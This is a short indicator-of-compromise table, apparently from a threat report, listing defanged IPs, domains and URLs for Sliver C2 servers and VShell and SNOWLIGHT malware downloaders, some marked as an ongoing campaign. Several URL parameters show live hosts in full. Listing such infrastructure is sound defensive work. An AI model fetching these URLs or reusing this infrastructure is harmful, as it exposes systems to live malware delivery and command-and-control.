IP Address | 34[.]96[.]169[.]109 | Hosted gooogleasia[.]com |
IP Address | 34[.]92[.]255[.]51 | Hosted gooogleasia[.]com |
IP Address | 34[.]131[.]20[.]34 | Hosted gooogleasia[.]com |
IP Address | 34[.]131[.]242[.]33 | Hosted gooogleasia[.]com |
IP Address | 34[.]126[.]97[.]166 | Hosted gooogleasia[.]com |
Domain | mtls[.]sex666vr[.]com | Sliver C2 |
Domain | wg[.]gooogleasia[.]com | Sliver C2 |
Domain | https[.]sex666vr[.]com | Sliver C2 |
Domain | samsungcdn[.]com | Previous C2 |
URL | http://47[.]97[.]176[.]108:8887/?a=l64&h=47.97.176.108&t=ws_&p=8887 | VShell Downloader |
URL | http://images.windowstimes[.]online/?a=l64&h=images.windowstimes[.]online&t=ws_&p=80 | VShell Downloader |
Domain | start[.]bootstrapcdn[.]fun | Previous C2 |
Domain | mcafeecdn[.]xyz | Previous C2 |
URL | http://124[.]221[.]120[.]25:2222/vs666 | SNOWLIGHT Downloader |
Domain | chmobank[.]com | Previous C2 |
URL | http://lin[.]huionepay[.]me:2086/?a=l64&h=lin.huionepay.me&t=ws_&p=2086 | Ongoing campaign – SNOWLIGHT Downloader |
URL | http://lin[.]telegrams[.]icu:2086/?a=l64&h=lin.telegrams.icu&t=ws_&p=2086 | Ongoing campaign – SNOWLIGHT Downloader |
URL | http://lin[.]c1oudf1are[.]com:42323/?a=l64&h=lin.c1oudf1are.com&t=ws_&p=42323 | Ongoing campaign – SNOWLIGHT Downloader |